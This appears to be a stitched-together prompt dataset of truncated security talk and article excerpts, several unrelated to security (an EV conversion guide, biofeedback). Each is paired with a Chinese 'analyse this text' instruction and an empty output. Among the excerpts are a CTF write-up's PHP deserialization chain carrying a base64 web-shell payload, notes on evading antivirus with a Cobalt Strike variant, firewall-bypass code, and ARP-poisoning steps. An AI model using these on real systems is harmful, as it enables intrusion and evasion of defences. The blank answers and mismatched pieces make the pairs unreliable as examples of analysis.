That Strange Little 'Brain Girl'
Joe Grand aka Kingpin
www.kingpinempire.com
What is old is new again!
Interest in the human brain has been around for a very
long time. The first known writing on the brain is found in
ancient Sumerian records from 4000 B.C, where an
anonymous writer describes the euphoric mind-altering
sensations caused by ingesting the common poppy plant.
Although our theories about human behavior have
changed radically over the many years since, the methods
of studying the brain until very recently had changed very
little.
The evolution of microcomputers, miniaturization, and
digital technology has changed everything as they
lead us to technological advances that help us
understand the human brain better.
And now as computers and electronics have become
more affordable; a whole do-it-yourself neurohacking
movement has emerged.
Biofeedback might sound like a throwback to the 60's
and 70's - like 8 track tapes, bell bottoms or disco; but it
is making a comeback. And it is no surprise in this fast-
paced age where everyone seem to be trying to harness
their mind/body connection for all it is worth.
Biofeedback
The definition of biofeedback
The technique of using monitoring devices to
obtain information about an involuntary function of
the central or autonomic nervous system, such as
body temperature or blood pressure, in order to
gain some voluntary control over the function.
Using biofeedback, individuals can be trained to
respond to abnormal measurements in involuntary
function with specific therapeutic actions, such as
muscle relaxation, meditation, or changing
breathing patterns. Biofeedback has been used to
treat medical conditions such as hypertension and
chronic anxiety.
The American Heritage®
Science Dictionary
Published by Houghton Mifflin Company. All rights reserved., © 2002 by Houghton Mifflin Company.
The definition of biofeedback
The technique of using ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Convert to Electric Vehicles
2009
Electric Auto Association (EAA)
“Promoting the
use of electric
vehicles since
1967”
Electro Automotive
VoltsRabbit
Acterra EV
Conversion Project
DC Motor
Example components
Why Build an EV?
Today there are limited production electric vehicles available, so converting an existing
internal combustion engine (ICE) vehicle to an electric vehicle (EV) might be the best
current choice available to obtain an EV.
Building your own EV can be a rewarding and challenging experience. Not only will you be a
pioneer in the EV movement, but you will also be recycling a car that may be headed for the
junk yard. Don’t wait for Detroit. Custom build an EV yourself1.
A typical EV conversion will achieve a range of 30-60 miles for each charge. Studies have
shown that 80% of commuters travel less than 40 miles per day, and 50% of commuters
travel 20 miles or less per day. An EV conversion can meet those daily driving needs.
EVs are a clean, efficient alternative to conventional vehicles – using technology that is
readily available today! EVs produce zero emissions, and when you consider the full fuel
cycle to generate electricity, are up to 99% cleaner than gasoline and diesel vehicles.  EV
owners enjoy the financial benefits of significantly lower fuel and maintenance expenses.
Finally, EVs help reduce our dependence on oil.
What steps are involved?
This overview provides a high level framework for performing a conversion. Please review
the references and other links (in the next section) for more complete information.
1. Determine your driving needs: range – the distance you travel in a single day; type of
vehicle – family car, commuter, utility vehicle, or racing car.
2.  Look for an EV kit for the vehicle you choose. Kits will make the conversion significantly
easier – they include all of the parts, except batteries.  A conversion kit will cost about
$4,000-$6,000, and the batteries, depending on how many you n...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hijacking Web 2.0
Sites with SSLstrip
Hands-on Training
Contact
 Sam Bowne
 Computer Networking and Information
Technology
 City College San Francisco
 Email: sbowne@ccsf.edu
 Web: samsclass.info
The Problem
 HTTP Page with an HTTPS Logon Button
Proxy Changes HTTPS to
HTTP
Target
Using
Facebook
Attacker:
Evil Proxy
in the
Middle
To
Internet
HTTP
HTTPS
Ways to Get in the
Middle
Physical Insertion in a Wired
Network
Target
Attacker
To
Internet
Configuring Proxy Server in
the Browser
ARP Poisoning
 Redirects Traffic at Layer 2
 Sends a lot of false ARP packets on the
LAN
 Can be easily detected
 DeCaffienateID by IronGeek
 http://k78.sl.pt
ARP Request and Reply
 Client wants to find Gateway
 ARP Request: Who has 192.168.2.1?
 ARP Reply:
 MAC: 00-30-bd-02-ed-7b has 192.168.2.1
Client
Gateway
Facebook.com
ARP Request
ARP Reply
ARP Poisoning
Client
Gateway
Facebook.com
Attacker
ARP Replies: I
am the
Gateway
Traffic to
Facebook
Forwarded &
Altered Traffic
Demonstration
Do it Yourself
 You need a laptop with
 Windows host OS
 VMware Player or Workstation
 Linux Virtual Machine (available on the USB
Hard Drives in the room)
 Follow the Handout


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

TCTF WriteUp By Nu1L
TCTF WriteUp By Nu1L
WEB
soracon
1linephp
worldcup
Reverse
vp
FEA
lalamblambdadambda
Crypto
zer0lfsr-
checkin
PWN
listbook
how2mutate
uc_masteeer
Babyheap 2021
MISC
uc_baaaby
GutHib
welcome
singer
Survey
WEB
soracon
phpsolrint
pop chain
<?php
namespace Phalcon\Logger {
        class Item {
                public $context;
                public $time;
                public $levelName;
                public $message;
                public function __construct($context, $time, $levelName, $message) {
                        $this->context = $context;
                        $this->time = $time;
                        $this->levelName = $levelName;
                        $this->message = $message;
                }
        }
}
namespace Phalcon\Logger\Formatter {
        class Line {
                public $format;
                public $dateFormat;
                public function __construct($format, $dateFormat) {
                        $this->format = $format;
                        $this->dateFormat = $dateFormat;
                }
        }
}
namespace Phalcon\Logger\Adapter {
        class Stream {
                public $name;
                public $inTransaction;
                public $mode;
                public $queue;
                public $formatter;
                public function __construct($name, $mode, $queue, $formatter) {
                        $this->inTransaction = 1;
                        $this->name = $name;
                        $this->mode = $mode;
                        $this->queue = $queue;
                        $this->formatter = $formatter;
                }
        }
}
namespace {
        $time = new DateTimeImmutable();
        $item = new Phalcon\Logger\Item([], $time, "test", "test");
        $line = new
Phalcon\Logger\Formatter\Line('MTIzPD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbInh4Il0pOz8+',
"Y-m-d H:i:s");
        $queue1 = [$item];
        $stream = new Phalcon\Logger\Adapter\Stream("/tmp/x.ph...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

N Stage Authentication with
Biometric Devices
Presented by:
Nate Rotschafer
Sophomore
Peter Kiewit Institute
Revised: July 8, 2002
N Stage Authentication
 Outline
– Background on Authentication
– General Network Security
– Need for High Grade Authentication
– Need for Multiple Factor Authentication
– Background on Error Types
– Forms of Biometric Authentication
– Pros and Cons of Each Biometric Technology
– What’s Hot? What’s Not?
– Major Players
– Network Management with Biometric Devices
– Problems
– Proper Network Security with Biometric Devices
– Demos and Discussion
– Prognosis
Background on
Authentication
Identification
 The method used by a system (not
necessarily a computer) to uniquely
identify an individual or group.
Examples: User names, Driver’s
License, School ID,
Security Badge,
Passport
Authentication
 The method(s) used to verify the given
identification against a database of
known information.
Examples: Passwords,
Fingerprints, Iris Prints,
Negotiation
Development of Authentication
 What you know…
 What you have…
 What you are…
 Future Development: How you are...
General Network Security
Security is NOT
 Installing a firewall
 A product or Service
 Running an audit and shutting things
off
Security IS
 Working productively and without
interruptions
 Only as good as the weakest link
 Risk management of resources (equipment,
people)
 Physical security
 A process, methodology, policies and people
 Is 24x7x365
General Network Security
 No silver bullet to network security
 Replay attacks
 Denial of Service ((D)DoS)
 Spoofing
 Users
 Dictionary Attacks
Security Thoughts
 80-90% are internal issues
 Hard drive crash (what did you loose,
and how long to get back up?)
 Firewall penetration (what can they do,
what do they see?)
 Internet failed (how much lost
productivity/revenue, backup net
connection?)
 Some can always get in
General Network Security
Conclusion
 Biometrics will help but will not solve all
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Using GPS Spoofing to Control Time
Dave/Karit (@nzkarit) – ZX Security
Defcon 2017
www.zxsecurity.co.nz
@nzkarit
 Draft for Defcon Media server
 A final copy will be posted on https://zxsecurity.co.nz/events.html after the
talk is given
Draft
2
www.zxsecurity.co.nz
@nzkarit
Dave, Karit, @nzkarit
Security Consultant/Pen Tester at ZX
Security in Wellington, NZ
Enjoy radio stuff
Pick Locks and other physical stuff at
Locksport
whoami
3
www.zxsecurity.co.nz
@nzkarit
4
www.zxsecurity.co.nz
@nzkarit
 GPS (Global Positioning
System)
 GPS Spoofing on the cheap
 Let’s change the time!
 So what?
 Serial Data
 Pulse Per Second (PPS)
 How we can detect spoofing
Today
5
www.zxsecurity.co.nz
@nzkarit
Tells us where
we are
Tells us the time
GPS
6
www.zxsecurity.co.nz
@nzkarit
Anyone in the room not currently trust GPS
locations?
Anyone in the room not currently trust GPS
time?
Anyone feel that this will change by the end of
the talk?
We Trust GPS Right? Right?????
7
www.zxsecurity.co.nz
@nzkarit
GPS too important to life?
GPS must be great and robust? Right?
Important services rely on it:
Uber
Tinder
You have to trust it right?
8
www.zxsecurity.co.nz
@nzkarit
NTP Time Source
Plane Location
Ship Location
Tracking Armoured Vans
Taxi law in NZ no longer knowledge
requirement
And some other things as well
9
www.zxsecurity.co.nz
@nzkarit
So why don’t I trust it?
10
www.zxsecurity.co.nz
@nzkarit
Have GPS jammers to mess with Uber
Black Cabs in London
11
www.zxsecurity.co.nz
@nzkarit
Jammers Boring………
12
www.zxsecurity.co.nz
@nzkarit
Nation State
13
www.zxsecurity.co.nz
@nzkarit
A University
14
www.zxsecurity.co.nz
@nzkarit
The Chinese are in the NTPs
15
www.zxsecurity.co.nz
@nzkarit
Now we are talking
16
www.zxsecurity.co.nz
@nzkarit
 A box
 An SDR with TX
 I used a BladeRF
 HackRF
 USRP
 So less US$500 in hardware
 Also some aluminium foil to make a Faraday Cage
 So it is now party trick simple and cheap
 This is the big game changer from the past
What we need
17
www.zxsecu...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

通用型漏洞的应急响应
主讲人： 钟武强
腾讯安全应急响应中心（TSRC）负责人
关于我
•   钟武强（小五），微信号Mark4z5
•   腾讯安全应急响应中心（TSRC）负责人
•   广东省信息安全测评中心 —> 百度 —> 腾讯
•   十多年安全经验，擅长应急响应、渗透测试
关于腾讯
•   中国最大互联网公司，全球市值排名第五
•   产品众多，形态多样化
•   超十亿用户，超百万台服务器
安全风险分类
账号风险
欺诈风险
etc..
漏洞攻击风险
DDOS攻击风险
etc..
办公网攻击风险
员工违规风险
etc..
业务安全
应用运维安全
内部安全
漏洞Case 1回顾
2014年 OpenSSL Heartbleed心脏出血漏洞
远程读取服务器内存数据
发送https恶意请求就能窃取到其他用户cookie凭证
各大互联网公司受影响
修复方案：升级OpenSSL并重启WebServer等服务
国内某漏洞平台收到的报告
漏洞Case 2回顾
2016年 ImageMagick远程代码执行漏洞
上传一张图片就能入侵服务器
各大互联网公司受影响
国内某漏洞平台收到的报告
国外某互联网巨头公司被爆漏洞
漏洞Case 3回顾
2018年 Intel CPU信息泄漏漏洞
几乎全部Intel CPU受影响
修复方案：打微码补丁、操作系统补丁
重启系统、性能下降，还可能蓝屏
Windows补丁修出1个本地提权漏洞 0rz
所以 通用型漏洞 往往影响范围广，修复难度大，处理非常棘手
腾讯是如何开展通用型漏洞的应急响应？
应急响应流程
漏洞获悉
漏洞评估
漏洞知会
漏洞发现
漏洞修复
攻击检测
攻击拦截
复盘总结
价值输出
第一阶段
第二阶段
第三阶段
漏洞获悉
漏洞评估
没弄到情报？
情报来晚了，被搞了？
好多情报，看不过来？
•   情报自动化采集
‣ 200个软件源、100个资讯类源、400个twitter微博源
‣ 平均每15分钟采集一轮，日均采集1000条
‣ 过滤后日均推送告警80条，紧急情报重点提醒
•   漏洞奖励计划
‣ 0day 或 最新公开漏洞情报
•   自主挖掘发现
•   其他渠道
‣ 官方保密性漏洞通知（如Intel）
‣ 私人圈子交流
漏洞获悉
漏洞评估
评估速度慢？
评估误判？
•   评估要点
‣ 确认漏洞原因、危害、影响范围、PoC和修复方案
•   评估效率及准确性
‣ 关键是人才，安全技术及经验的积累
•   TSRC作为应急指挥中心，统一协调确保各项应急工作有序、快速开展
•   第一时间通知安全兄弟团队、公司领导、业务同事，告知风险及后续工作
漏洞知会
漏洞发现
漏洞修复
攻击检测
攻击拦截
如何全面发现
存在漏洞的业务？
•   主机安全系统本地采集受影响主机
‣ 本地执行find/ps/grep/strings/ldd/特定二进制等命令
•   漏洞扫描器对全业务Web/APP进行检测
•   人工排查重点业务，优先保证重点业务安全
•   引导业务同事进行自查
•   白帽子帮忙发现漏网之鱼
漏洞知会
漏洞发现
漏洞修复
攻击检测
攻击拦截
修复优先级？
修复闭环？
漏洞咨询量暴增？
•   邮件/微信/工单等方式通知业务修复
‣ 给出修复方案和限期，外网优先修复
‣ 使用工单系统进行闭环，避免跟丢
‣ 持续确认和周知修复情况
•   漏洞FAQ文章，减少沟通成本
漏洞知会
漏洞发现
漏洞修复
攻击检测
攻击拦截
修复期间遭攻击？
•   网络入侵检测系统（4/7层异常流量）
•   主机入侵检测系统（webshell、命令执行等）
漏洞知会
漏洞发现
漏洞修复
攻击检测
攻击拦截
修复期间遭攻击？
•   Web应用防火墙（WAF）拦截恶意请求
•   主机入侵检测系统具备快速止损能力
‣ 一检测到攻击成功，立刻断网
漏洞知会
漏洞发现
漏洞修复
攻击检测
攻击拦截
复盘总结
价值输出
•   按时间线整理应急过程，肯定成绩，暴露缺陷
•   举一反三，提升安全能力，避免长期疲于救火
复盘总结
价值输出
•   发表内部文章，宣传安全价值，赢取业务持续配合安全工作
•   发表外部文章，分享安全技术，为互联网安全贡献力量
腾讯TEG安全平台部
•   漏洞扫描
•   入侵检测
•   态势感知
•   WAF拦截
•   DDOS防御
•   业务安全
•   安全大数据
•   应...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
IceRiver⾼版本Q.V简单说明
前⾔
⼀些功能使⽤介绍
Self Inject模式
由于CS 4.6版本之后，官⽅对ts和client端做了代码分离，ts端⼜由java to native技术做了编译，因此后
续版本对ts端的修改，将不再那么容易，所以⽬前所做的⼆开主要集中在client端。IceRiver今后的计划
是：保持CS的稳定性、规避内存和⾏为查杀、添加实⽤性插件、结合其他开源项⽬更⾼效的应⽤于实
战。
这个插件是⾃从4.4版本的IceRiver就已经存在的，在4.7版本实现⽅式有了变动，但对于⽤户侧使⽤⽅法
不变。默认情况下，可以看到beacon的inject配置显示为"default".
这个时候执⾏⼀些后渗透的模块，⽐如screenshot，将会采⽤spawn模式，在beacon侧将会采⽤fork &
inject & resume，也就是注⼊傀儡进程执⾏RDI。
前⾔
⼀些功能使⽤介绍
Self Inject模式
2
由于注⼊傀儡进程的操作太敏感，已经被各⼤杀软加⼊⾏为⿊名单，这⾥为了在不改beacon端代码的前
提下，通过修改client发送到ts端的指令（由spawn改成inject），来实现绕过⾏为查杀。
选择其中⼀条session，右键可以看到IceRiver⼦菜单，点击SelfInject，界⾯上的inject显示由default变
成less。
这个时候再次使⽤screenshot模块，可以看到由spawn模式改成了inject到beacon所在进程的模式。
3
点击DisableSelfInject模式，将会再次回到default。
这时再次使⽤screenshot验证beacon⾏为，可以看到再次回到了默认的spawn模式。
4
SelfInjectFull插件是计划⽀持第三⽅⾃定义native dll、.net assembly注⼊beacon⾃身，⽬前还在实现
和测试验证当中。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

最近忍者师傅因为某件事情，寝食不安，所以给他写篇星球文，安抚他寂寞的心灵。
https://my.oschina.net/9199771/blog/5085337
书接上文，之前提到我们可以用java版的libinjection进行sql注入防护。
那么我今天花了一天的时间，在sqlmap的level=5 和 risk=3的情况下对拼接的sql进行安全测试，本文不涵盖tamper，否则本文的内容会异常复杂。
在试验过程中我发现，其实很多的报错情况，以及一些sql报错，可以看到一些 libinjection 没有对应防护策略的端倪。
上文中提到了GTID_SUBSET注入问题。
testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
其实还有一个JSON_KEYS注入问题。
testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
除此之外，我们还能发现利用存储过程、sleep函数、SELECT CASE WHEN等绕过 libinjection语义策略的问题。
所以我在上文的基础上，经过了反复的试验，得出了在语义检查前使用正则表达式进行安全防护的一些注意要点，其中我们要注意 rasp 默认阻断sql
报错的请求。
（以下正则均来自于modsecurity的内置正则）
@RequestMapping("list5")
  public User getList5(String name) {
    if (name == null) {
      name = "dato";
    }
    String pattern = "\\W{4}";
    if(Pattern.compile(pattern).matcher(name).find()){
      // 很有用的规则，阻断四个连续的特殊字符能拦截很多明显的payload
      return null;
    }
    pattern = "((?:[~!@#$%^&*()\\-+={}\\[\\]|:;\"'´’‘`<>][^~!@#$%^&*()\\-+={}\\[\\]|:;\"'´’‘`<>]*?){6})";
    if(Pattern.matches(pattern, name)) {
      // 一个变量超过6个特殊字符就很可能是sql注入
      return null;
    }
    pattern = "(?i:sleep\\(\\s*?\\d*?\\s*?\\)|benchmark\\(.*?,.*?\\))";
    if(Pattern.compile(pattern).matcher(name).find()){
      // 这条可以不加入，因为rasp或常见的数据库中间件都阻断了sleep、benchmark等常见的恶意函数，这里加入的原因是语义引擎拦截sleep注入时不全面
      // 这条语句是存在 bypass 的，建议不用使用正则拦截，本文是为了演示,所以增加该语句
      return null;
    }
    pattern = "(?i:(?:create\\s+(?:procedure|function)\\s*?\\w+\\s*?\\(\\s*?\\)\\s*?-|;\\s*?(?:declare|open)\\s+[\\w-]+|procedure\
    if(Pattern.compile(pattern).matcher(name).find()){
      // 这条可以不加入，不少工作场景中的数据库已不支持存储过程，这里加入的原因是语义引擎拦截对 procedure analyse 注入基本拦截不到
      // 这条语句是存在 bypass 的，建议不用使用正则拦截，本文是为了演示,所以增加该语句
      return null;
    }
    if(SQLParse.isSQLi(name)){
      return null;
    }
    // 执行sql select * from user where name='${name}'
除了上文提到的在rasp中内置语义检测的思路，其实今天我还发现能将安全过滤做到fastjson之中，也就是对用户输入数据进行自动化的处理。...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

A
t a recent computer con-
ference, a colleague of
mine from a conservative
academic institution chatted
congenially with another con-
ference attendee. At a typical
conference such a conversa-
tion would be nothing partic-
ularly revealing, but this was DEFCON, and the
young lady he was speaking with had a stainless
steel spike tipped with a blinking green LED pro-
truding from her lower lip. While some security
researchers have described such conferences as
“going to a graffiti convention expecting to see
those who design spray cans” [1], I beg to differ.
As a computer scientist you would be remiss in
not attending one or more hacker conferences. The
effort is worth it. You might see a speaker dance
through the vulnerabilities in disassembled binaries
with the skill of an Aikido master, another demon-
strate a modified game console that boots to Linux,
scans an internal network, and reports back to its
master via encrypted communication paths, or (to
the sound of Megadeth) the teams of Capture the
Flag and Root-Fu compete in head-on war games.
The intensity and talent would make you keenly
aware that, so inclined, these people could take
apart your carefully crafted, peer-reviewed applica-
tion, protocol, or algorithm and find its weak-
nesses—perhaps very publicly or without a word
being spoken.
You need only perform an Internet search on
DEFCON, Interz0ne, Phreaknic, and Hackers on
Planet Earth to get a sense of the passion these
events engender.1 Attendees range from respected
tribal elders to immature hangers-on. Rather than
distinctly good or bad, my experience has shown
that most represent a more intellectually curious,
highly principled, authority-averse, scientifically
open-minded attitude. The majority are genuine
computer experts from highly technical computing
disciplines.
For the past four years my electrical engineering
and computer science department at West Point has
arranged for faculty members, including me, staff,
and students to attend hacker...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

{
Breaking the x86 ISA
domas / @xoreaxeaxeax / DEF CON 2017
 Christopher Domas
 Cyber Security Researcher @
Battelle Memorial Institute
./bio
 We don’t trust software.
 We audit it
 We reverse it
 We break it
 We sandbox it
Trust.
 But the processor itself?
 We blindly trust
Trust.
 Why?
 Hardware has
all the same problems as software
 Secret functionality?
 Appendix H.
 Bugs?
 F00F, FDIV, TSX, Hyperthreading, Ryzen
 Vulnerabilities?
 SYSRET, cache poisoning, sinkhole
Trust.
 We should stop
blindly trusting our hardware.
Trust.
 What do we need to worry about?
 Historical examples
 ICEBP (f1)
 LOADALL (0f07)
 apicall (0ffff0)
Hidden instructions
So…
what’s
this??
 Find out what’s really there
Goal: Audit the Processor
 How to find hidden instructions?
The challenge
 Instructions can be one byte …
 inc eax
 40
 … or 15 bytes ...
 lock add qword cs:[eax + 4 * eax + 07e06df23h], 0efcdab89h
 2e 67 f0 48 818480 23df067e 89abcdef
 Somewhere on the order of
1,329,227,995,784,915,872,903,807,060,280,344,576
possible instructions
The challenge
https://code.google.com/archive/p/corkami/wikis/x86oddities.wiki
 The obvious approaches don’t work:
 Try them all?
 Only works for RISC
 Try random instructions?
 Exceptionally poor coverage
 Guided based on documentation?
 Documentation can’t be trusted (that’s the point)
 Poor coverage of gaps in the search space
The challenge
 Goal:
 Quickly skip over bytes that don’t matter
The challenge
 Observation:
 The meaningful bytes of
an x86 instruction impact either
its length or its exception behavior
The challenge
 A depth-first-search algorithm
Tunneling
Guess an instruction:
Tunneling
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Execute the instruction:
Tunneling
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Observe its length:
Tunneling
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Increment the last byte:
Tunneling
00 01 00 00 00 00 00 00 00 00 00 00 00 00 00
Execute the instruction:
Tunneling
00 01 00 00 00 00 00 00 00 00...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

短网址攻击与防御
演讲人：彦修
2 0 1 8
About Me
• 腾讯安全工程师
• 微博:@彦修_
• 喜美食、好读书，不求甚解
• Tencent Blade Team
• 由腾讯安全平台部创立。
• 专注于AI、移动互联网、IoT、无线电等前沿技术领域安全研究。
• 报告了谷歌、苹果、亚马逊等多个国际知名厂商70+安全漏洞。
PART 01
短网址猜想
目录
CONTENTS
PART 02
何谓短网址
PART 03
短网址攻击实战
PART 04
扩展短网址攻击面
01
02
03
04
PART 05
短网址防御实践
05
PART 01
短网址猜想
某个惠风和畅的下午收到这么一封邮件……
改变短网址后缀，是否可以获取他人的发票链接：
由短网址：http://xx.com/t/vWiN39    ——>     http://xx.com/t/vWiN40
进而：
http://xx.cn/t/vWiN39
http://xx.to/t/vWiN39
……
我们随后进行了大批量随机爆破测试，部分结果如下：
短网址第一猜想：
当你发现某处出现了问题，那么出现问题的一般不止这一处！
短网址第二猜想：
如果你要解决一个问题，你需要知道这个问题是什么！
短网址第三猜想：
PART 02
何谓短网址
短网址：此服务可以提供一个非常短小的URL以代替原来的可能较长的URL，将长的
URL地址缩短。用户访问缩短后的URL时，通常将会重定向到原来的URL。（摘自维基
百科）
比如微博中常见的：http://t.cn/h5BBi
短网址服务主要起源于一些具有字数限制的微博客服务，现在广泛用于短信、邮件
等。
自用短网址服务产品（部分）：
第三方短网址服务产品（部分）：
    长网址转换短网址                                       短网址转换长网址
用户
转换算法
数据库
URL处理
远程访问
URL
资
源
长URL
短URL
用户
数据库
URL
资
源
短URL
302(1)请求
重定向
request
response
request
response
短网址服务
短网址服务
我们分析了GITHUB上star数最多的10个短网址开源项目，其转换算法大致分为三类，即进制算法、
HASH算法和随机数算法
进制算法：结果连续。
随机数算法：结果不连续。
HASH算法：结果不连续。
进制算法：
算法简述：一个以数字、大小写字母共62个字符的任意进制的算法。
数据库中ID递增，当ID为233，则对应短网址计算过程如下：
  ① 设置序列为“0123456789abcdefghijklmnopqrstuvwxyz”
  ② 233/36=6
  ③ 233%36= 17
  ④ 依次取上述字符的6位，17位，则为6h
其生成之后的短网址为xx.xx/6h
随机数算法：
算法简述：每次对候选字符进行任意次随机位数选择，拼接之后检查是否重复
若要求位数为2，则其对应短地址为计算过程如下：
   ①  设置字符序列“0123456789abcdefghijklmnopqrstuvwxyz”
   ②  根据字符个数设置最大值为35，最小值为0，取2次随机数假设为：6,17
   ③  依次取上述字符的6位和17位，则为6h
其生成之后的短网址为xx.xx/6h
HASH算法：
算法简述：对id进行hash操作（ 可选：利用随机数进行加盐），并检查是否重复
设置ID自增，若ID=233，则其对应短地址为计算过程如下：
   ①   取随机数为盐
   ②   对233进行sha1加密为： aaccb8bb2b4c442a7c16a9b209c9ff448c6c5f35:2
   ③   要求位数为7，直接取上述加密结果的前7位为：aaccb8
其生成之后的短网址为xx.xx/2e8c027
PART 03
短网址攻击实战
根据短网址第一猜想：
当你发现某处出现了问题，那么出现问题的一般不止这一处！
存在短网址问题并非上述一家例子中的厂商？！
所以如何高效、有效爆破？
 短网址爆破最佳实践
字典生成模块
请求模块
算法识别模块
request
response
代
理
IP
池
模
块
响应解析模块
配置、检测模块
远程服务器
数
据
库
存
储
模
块
算法识别：第三方进制算法
可以多次输入网址，查看返回短网址是否连续，连续则为进制算法，如下：
Tips：个别为分布式短链接，id非单一递增，会出现多个字符规律变化，如：87BNwj、
87BO82、87BOqw、87BOGz、87BPpD
① 直接测试xx.xx/1及xx.xx/2 等低位后缀。
② 对存在记录的后缀单字母进行增加或减少测试...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

加密勒索軟體行為偵測
(以Mac OS X為例)
Henry
HITCON 2016
About Me
• 黃禹程 (Henry)
• Developer at Verint
• 專長: Web Development
• 資安是興趣
• Chroot成員
大綱
• 偵測模型
• Mac OS X上用FUSE實作成果演示
• 實作說明
• 問題與討論
• 新專案：RansomCare
• 結論
偵測模型
與平台無關
對勒索軟體的假設
• 世上只有兩種勒索軟體
– 覆寫型 (OVERWRITE): 加密並覆寫原檔
– 開檔型 (NEW_FILE): 產生新加密檔並刪除原檔
• 一定會保留檔案全部內容
• 只具一般使用者權限
• [optional] 只關注某些檔案類型
– Ex. docx, pptx, xlsx, pdf, png, jpg, ......
對勒索軟體的假設
(continued)
• 覆寫型: 必覆寫全檔，且檔案內容變質
– MIME Type改變 (目前只採用此項)
– 相似度變低
– Entropy變高
• 開檔型: 必讀取全檔，且讀完會刪檔
• 進入點是readdir (列出某目錄下的檔案)
歸納：執行路徑
• 覆寫型：readdir → open → read all → write
all → release (檔案變質)
• 開檔型：readdir → open → read all →
(write to somewhere) → unlink
• 對所有行程都追蹤這麼長的路徑很耗資源
– 利用白名單
合理的白名單？
• 系統程式
• 在開啟選單中的程式
• 所開檔案副檔名不被關注
– 不是.docx, .pdf, .png, ......
開啟選單
inspected process
P
monitored ﬁle
F
偵測模型
DEMO - HANSOM
Hansom - 用FUSE實作的Proof of Concept
實作說明
Hansom如何利用FUSE來偵測ransomware？
FUSE[1]
• Filesystem in USErspace (OSX: osxfuse[2])
– FUSE kernel module
– libfuse[3] (library in userspace)
• FUSE的kernel module把filesystem的操作請
求交由userspace的程式來作回應
圖解Hansom實作
例：open
問題與討論
如何躲避偵測？改進空間？
inspected process
P
monitored ﬁle
F
如何躲避偵測？
檔
4. 把關鍵動作拆在不同process中
5. 把自己註冊到開啟清單 (需要高權限)
6. 放進系統目錄中 or 注射系統process
7. readdir完先把副檔名改掉再open
2. 不要關檔
改進空間及方向？
• 偵測方式：inline mode v.s. sniffer mode
• FUSE的作法
– Inline mode
– Ransomware演化前可有效偵測
– 會影響系統效能 (syscall從kernel → user → kernel)
• 較理想的作法
– 從Kernel mode將關鍵行為事件傳回user mode判斷
• 判斷跟系統操作非同步 → 不影響系統穩定性
– User mode: 監控honey file
RANSOMCARE
https://github.com/Happyholic1203/ransomcare
OS X
Windows
TODO
結論
結論
• 本模型只看行為 → 與平台無關
• 該模型能偵測KeRanger及自製ransomwares
– 尚未在OSX外實驗
• Ransomware會演化 勢必會有一番攻防
– 最頭痛的演化方向：高權限、DLL side loading等
• 知道盾的作法 也探討了矛的新切入角度
• Inline mode penalty: 系統效能/穩定性
• Sniffer mode penalty: 有些檔案會犧牲 誤判率較
高
Reference
•
[1] FUSE https://en.wikipedia.org/wiki/Filesystem_in_Userspace
•
[2] osxfuse https://osxfuse.github.io/
•
[3] libfuse https://github.com/libfuse/libfuse
Related Works
• Emsisoft Behavior Blocker (2015)
– 成功偵測20支ransomware (連結裡有demo)
• Crypto...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

@patrickwardle
I got 99 Problems, but

Little Snitch ain’t one!
WHOIS
“leverages the best combination of humans and technology to discover
security vulnerabilities in our customers’ web apps, mobile apps, IoT
devices and infrastructure endpoints”
@patrickwardle
security for the
21st century
career
hobby
making little snitch our b!tch
OUTLINE
understanding
bypassing
reversing
owning
little snitch

versions < 3.6.2
apple os x 10.11
note:
UNDERSTANDING LITTLE SNITCH
…a brief overview
the de-facto host firewall for macOS
LITTLE SNITCH
"Little Snitch intercepts
connection attempts, and lets
you decide how to proceed."
-www.obdev.at
little snitch alert
in the news (red team vs. palantir)
the puzzle pieces
LITTLE SNITCH COMPONENTS
ring-0
ring-3 (root session)
LittleSnitch.kext
Little Snitch Daemon
Little Snitch Configuration
Little Snitch Agent
› network, process monitoring
'authentication'
›
› rules management
› rules management
preferences
›
› ui alerts
ring-3 (user/UI session)
   ring-0 bug
BYPASSING LITTLE SNITCH
undetected data exfil
IMHO; such bypasses aren't bugs or
0days
abusing system rules to talk to iCloud
LITTLE SNITCH BYPASS 0X1
iCloud
little snitch's iCloud rule
o rly!?...yes!
un-deletable system rule:
"anybody can talk to iCloud"
abusing 'proc-level' trust
LITTLE SNITCH BYPASS 0X2
$/python/dylibHijackScanner.py//
GPG/Keychain/is/vulnerable/(weak/rpath'd/dylib)/
'weak/dylib':////'/Libmacgpg.framework/Versions/B/Libmacgpg'//
'LC_RPATH'://////'/Applications/GPG/Keychain.app/Contents/Frameworks'
undetected exfil/C&C
"Using Process Infection to Bypass
Windows Software Firewalls" -Phrack,/'04
gpg keychain; allow all
dylib hijack 'injection'
stop the network filter
LITTLE SNITCH BYPASS 0X3
ring-0
method 0xB
 disable: 0x0
ring-3
LittleSnitch.kext
//connect & authenticate to kext
// ->see later slides for details :)
//input
// ->set to 0x0 to disable
uint64_t input = 0x0;
//stop network filter
IOConnectCallScalarMethod(connectPort, 0xB, &input, ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Advanced MySQL Exploitation
Muhaimin Dzulfakar
Defcon 2009 – Las Vegas
1
 Who am I
 Muhaimin Dzulfakar
 Security Consultant
 Security-Assessment.com
2
 SQL Injection
 An attack technique used to exploit web sites that construct SQL
statement from user input
 Normally it is used to read, modify and delete database data
 In some cases, it is able to perform remote code execution
3
 What is a stacked query ?
 Condition where multiple SQL statements are allowed. SQL statements
are separated by semicolon
 Stack query commonly used to write a file onto the machine while
